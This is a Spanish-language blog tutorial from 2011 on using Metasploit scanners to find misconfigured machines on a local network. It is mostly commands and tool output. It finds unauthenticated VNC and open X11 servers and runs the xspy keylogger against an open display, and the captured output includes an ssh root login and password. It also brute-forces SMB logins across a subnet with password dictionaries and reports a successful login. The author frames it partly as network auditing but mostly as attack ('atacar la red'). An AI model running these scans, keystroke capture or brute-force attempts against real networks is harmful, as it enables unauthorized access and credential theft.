Buscar este blog

sábado, 20 de agosto de 2011

buscando errores de configuracion METASPLOIT


En el bricoconsejo de hoy ......es frecuente que algun ordenador de la red bien por descuido , por desconocimiento o por dejadez se
quede configurado como el culo ......hay es donde entramos nosotros que somos mas malos que el cali

es una sana costumbre explorar la red por si nos canta la rana ,o como medida para quedarnos tranquilos y saber que ningun gañancete
a echo de las sullas dejando algun equipo abierto en canal.....lo cual proporcionaria a "algun cabroncete" una buena posicion tactica
ala hora de recopilar informacion ,password,etc

en metasploit tenemos una serie de excanner que nos facilitan este trabajo :

en auxiliary/scanner/

veamos un par de ellas_:
use auxiliary/scanner/vnc/vnc_none_auth

show options

Module options (auxiliary/scanner/vnc/vnc_none_auth):

Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target address range or CIDR identifier
RPORT 5900 yes The target port
THREADS 50 yes The number of concurrent threads

msf auxiliary(vnc_none_auth) > set RHOSTS 192.168.X.0/24

msf auxiliary(vnc_none_auth) > run

[*] Scanned 026 of 256 hosts (010% complete)
[*] Scanned 052 of 256 hosts (020% complete)
[*] Scanned 077 of 256 hosts (030% complete)
[*] Scanned 103 of 256 hosts (040% complete)
[*] Scanned 128 of 256 hosts (050% complete)

buscara un rango de direciones IP en busca de objetivos que corran el servicio de VNC sin contrasena configurada.se supone que esto nunca deberia ser asi pero creerme que PASA...aunque hoy no hemos tenido suerte o si "depende que sombrero llebes".........

lo mismo pero para X11:


msf > use auxiliary/scanner/x11/open_x11
msf auxiliary(open_x11) > show options

Module options (auxiliary/scanner/x11/open_x11):

Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target address range or CIDR identifier
RPORT 6000 yes The target port
THREADS 1 yes The number of concurrent threads

msf auxiliary(open_x11) > set THREADS 50
THREADS => 50
msf auxiliary(open_x11) > set RHOSTS 192.168.x.0/24
RHOSTS => 192.168.x.0/24
msf auxiliary(open_x11) > run

[*] Scanned 029 of 256 hosts (011% complete)
[*] Scanned 054 of 256 hosts (021% complete)
Open X Server @ 192.168.x.92 (The XFree86 Project, Inc) BINGO!!!!
[*] Scanned 094 of 256 hosts (036% complete)
[*] Scanned 125 of 256 hosts (048% complete)
[*] Scanned 128 of 256 hosts (050% complete)
[*] Scanned 176 of 256 hosts (068% complete)
[*] Scanned 180 of 256 hosts (070% complete)
[*] Scanned 227 of 256 hosts (088% complete)
[*] Scanned 242 of 256 hosts (094% complete)
[*] Scanned 256 of 256 hosts (100% complete)
[*] Auxiliary module execution completed

ahora por ejemplo solo tendriamos que cargar en el sistema un keyloger o algo por el estilo:

root@mololo:/# cd /pentest/sniffers/xspy/
root@mololo:/pentest/sniffers/xspy# ./xspy -display 192.168.1.101:0 -delay 100
ssh root@192.168.x.x(+BackSpace)37
mipassword

ifconfig
exit

y a esperar que caigan las peras.............o los peros

Metasploit SMB Login Check Scanner

Esta herramienta es capaz de buscar en una red maquinas con recursos compartidos y atacar por fuerzabruta especificandole
el puerto ,user, y password......

Como todos sabemos Microsoft utiliza un protocolo propietario SMB (Server Message Block) para compartir
archivos e impresoras en la red. Este protocolo también se utiliza para conectarse a las
canalizaciones con nombre (Named Pipes), de las que dependen numerosas aplicaciones,
como SQL Server y Exchange. SAMBA es una implementación desarrollada por la comuni-
dad de software libre para hacer que los sistemas operativos basados en un núcleo Unix o
Linux sean interoperables.

Bueno sin mas dilacion vamos al ajo:
root@mololo:/opt/metasploit3/msf3# msfconsole
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##




=[ metasploit v3.7.0-dev [core:3.7 api:1.0]
+ -- --=[ 678 exploits - 354 auxiliary
+ -- --=[ 217 payloads - 27 encoders - 8 nops
=[ svn r12346 updated today (2011.04.18)

msf > use auxiliary/scanner/smb/smb_login
msf auxiliary(smb_login) >

ahora le daremos los parametros para atacar la red

msf auxiliary(smb_login) > show options

Module options (auxiliary/scanner/smb/smb_login):

Name Current Setting Required Description
---- --------------- -------- -----------
BLANK_PASSWORDS true no Try blank passwords for all users
BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5
PASS_FILE no File containing passwords, one per line
PRESERVE_DOMAINS true no Respect a username that contains a domain name.
RHOSTS yes The target address range or CIDR identifier
RPORT 445 yes Set the SMB service port
SMBDomain WORKGROUP no SMB Domain
SMBPass no SMB Password
SMBUser no SMB Username
STOP_ON_SUCCESS false yes Stop guessing when a credential works for a host
THREADS 1 yes The number of concurrent threads
USERPASS_FILE no File containing users and passwords separated by space, one pair per line
USER_AS_PASS true no Try the username as the password for all users
USER_FILE no File containing usernames, one per line
VERBOSE true yes Whether to print output for all attempts


msf auxiliary(smb_login) > set RHOSTS 192.168.6.0/24 rango de red a atacar
RHOSTS => 192.168.6.0/24
msf auxiliary(smb_login) > set RPORT 445 especificamos el puerto
RPORT => 445
msf auxiliary(smb_login) > set USERPASS_FILE /home/manuel/Escritorio/password ruta donde tenemos el diccionario con los password
USERPASS_FILE => /home/manuel/Escritorio/password
msf auxiliary(smb_login) > set USER_FILE /home/manuel/Escritorio/user ruta donde tenemos el diccionario con el nombre de usuari
msf auxiliary(smb_login) > set PASS_FILE /home/manuel/Escritorio/password

msf auxiliary(smb_login) > set THREADS 50
THREADS => 50


y hacemos un run aver que sale
msf auxiliary(smb_login) > run
[*] Starting SMB login attempt on 192.168.6.6

[*] Starting SMB login attempt on 192.168.6.10
[*] Starting SMB login attempt on 192.168.6.17
[*] Starting SMB login attempt on 192.168.6.47
[*] Starting SMB login attempt on 192.168.6.20
[*] Starting SMB login attempt on 192.168.6.22
[*] Starting SMB login attempt on 192.168.6.25
[*] Starting SMB login attempt on 192.168.6.2
[*] Starting SMB login attempt on 192.168.6.3
[*] Starting SMB login attempt on 192.168.6.0
[*] Starting SMB login attempt on 192.168.6.5
[*] Starting SMB login attempt on 192.168.6.8
[*] Starting SMB login attempt on 192.168.6.12

transcurrido un tiempo
[*] 192.168.6.100:445|WORKGROUP - FAILED LOGIN (Unix) teoplus : password (STATUS_LOGON_FAILURE)
[*] 192.168.6.100:445|WORKGROUP - FAILED LOGIN (Unix) teoplus : computer (STATUS_LOGON_FAILURE)
[*] 192.168.6.100:445|WORKGROUP - FAILED LOGIN (Unix) teoplus : 123456 (STATUS_LOGON_FAILURE)
[*] 192.168.6.100:445|WORKGROUP - FAILED LOGIN (Unix) teoplus : tigger (STATUS_LOGON_FAILURE)
[*] 192.168.6.100:445|WORKGROUP - FAILED LOGIN (Unix) teoplus : 1234 (STATUS_LOGON_FAILURE)
[*] 192.168.6.100:445|WORKGROUP - FAILED LOGIN (Unix) teoplus : a1b2c3 (STATUS_LOGON_FAILURE)
[*] 192.168.6.100:445|WORKGROUP - FAILED LOGIN (Unix) teoplus : qwerty (STATUS_LOGON_FAILURE)
[*] 192.168.6.100:445|WORKGROUP - FAILED LOGIN (Unix) teoplus : 123 (STATUS_LOGON_FAILURE)
[*] 192.168.6.100:445|WORKGROUP - FAILED LOGIN (Unix) teoplus : xxx (STATUS_LOGON_FAILURE)
[+] 192.168.6.100:445|WORKGROUP - SUCCESSFUL LOGIN (Unix'xxxxxxxx' : 'xxxxxxxx2011' BINGO!
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(smb_login) >


un saludo a todos


No hay comentarios:

Publicar un comentario